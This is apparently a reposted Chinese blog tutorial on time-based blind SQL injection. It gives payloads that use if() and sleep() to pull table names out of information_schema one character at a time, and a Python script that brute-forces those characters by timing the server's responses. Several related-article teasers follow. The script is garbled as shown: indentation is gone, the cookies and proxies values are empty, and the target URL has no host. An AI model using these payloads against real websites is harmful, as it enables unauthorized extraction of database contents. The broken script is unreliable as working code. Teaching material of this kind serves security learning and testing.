SQL注入之延遲盲注

2022-03-08 06:58:03 字數 2653 閱讀 5526

延遲盲注

你不知道你輸入的資料在sql被執行後是否是正確或錯誤的。你只知道有資料。

利用原理

借助if語句,如果正確就sleep(5),延遲5秒返回資料。通過資料返回的時間大小判斷自己的語句是否正確執行。因為如果正確執行,會休眠5秒。錯誤執行,立馬返回!

0x01 是布林盲注還是延遲盲注

這麼明顯錯誤的語句,沒有報錯。只知道是有資料的。那麼肯定不是布林盲注

0x02 判斷延遲盲注

0x03 進一步注入查表

正確立馬返回,錯誤休眠5秒

payload:

and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=1,0,sleep(10)) --+
然後開始爆破。因為我的intruder測試模組看不了響應的時間,所有我寫了個python指令碼去跑。以下原始碼和結果:

原始碼:

# -*- coding: utf-8 -*-

import requests

import time

def timesql(proxies, user):

for i in range(1,23): #資料長度 這裡我偷了下懶 沒有先獲取長度

for payload in range(35,130): #遍歷取出字元

starttime=time.time()

url = '"+and+if(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),' + str(i)+',1))%3d'+str(payload)+',sleep(6),0)--%20qwe' #url

cookies =

response=requests.get(url,proxies=proxies) #傳送請求

if time.time() - starttime > 5: #判斷是否延時了5秒

user+=chr(payload)

print(chr(payload))

break

if i != len(user): #無資料時候自動結束

break

print ('\nthe result is: '+user)

def main():

print ('begining \n')

ip = '127.0.0.1:8080'

proxies =

user = ''

timesql(proxies, user)

if __name__ == '__main__':

main()

結果:

爆破字段

檢視字段內容

原理一樣,注意閉合括號就好了。

payload:

1')+and+if(ascii(substr((select+table_name+from+information_schema.tables+where+table_schema%3ddatabase()+limit+0,1),3,1))%3d75,sleep(6),0)--%20qwe

sql注入 盲注

一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...

sql注入 盲注

一,盲注介紹 所謂盲注就是在伺服器沒有錯誤回顯的時候完成注入攻擊。盲注分為布林盲注和時間盲注 布林盲注 boolean 根據注入資訊返回true or fales 沒有任何報錯資訊 時間盲注 介面返回值ture 無論輸入任何值,返回的情況都是正常的來處。加入特定的時間函式,通過檢視web頁面返回的時...

SQL注入 盲注

遮蔽了報錯資訊,攻擊者無法使用報錯資訊來進行注入判斷。1.boolean 盲注 無論輸入什麼只會顯示真與假 2.時間盲注 頁面沒有任何的顯示,通過時間的延遲來判斷是否存在注入 是無論輸入什麼,結果只返回真和假兩種結果。判斷資料庫名的長度 length database x 判斷表名 substr d...